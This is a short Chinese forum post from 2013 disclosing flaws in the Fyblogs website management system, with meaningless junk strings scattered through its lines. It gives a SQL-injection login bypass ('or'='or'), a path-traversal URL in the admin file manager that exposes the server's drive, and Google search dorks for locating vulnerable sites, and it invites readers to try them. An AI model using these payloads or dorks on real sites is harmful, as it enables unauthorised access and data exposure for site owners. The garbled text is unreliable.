漏洞类型： 未授权访问/权限绕过
0 `9 p8 l% k" d6 b
- R0 s. {/ d! |简要描述：
. N- T* P) J3 v, ?2 ], \* x
9 g" n* y5 N% B! J4 Z; t D" UFyblogs网站管理系统,，后台存在万能密码，后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
, c5 D# M* ?* N; ^' d4 ~2 {, x
0 W+ Z6 x4 j2 N) ^; G$ j: B5 N: H) X/ h详细说明：/ f- j7 g+ C5 _8 `. d# g) ?- G
9 P# [! P9 [0 Y4 |% |
后台万能密码 'or'='or'
5 Q* Y) q: b+ `! O2 Y( J- i后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！1 r& t4 m1 x1 |$ \3 [# ] ^
admin/uploadfile.asp?currentFolder=/upfiles/../
0 J' S& K! n g/ c& d/ m( L; [8 \' F" |, Z
漏洞证明：
3 z3 {/ y T( S3 F; a1 S! Q
( {$ u- H# b0 \8 B谷歌：inurl:type.asp?id=1 新闻中心
3 W- `: D1 k' e或者 ：inurl:download_ok.asp?4 f2 c& S( I, ?* C$ |- Q+ b9 N
( L; s5 h+ s/ e4 |% @0 C- E
可以测试
! [' K% `* x1 {# X6 Y' a- m Z4 n5 i F) Q
8 V) r: I0 ~. E$ J1 f
|
发表于 2013-3-7 13:07:46
收藏
支持
反对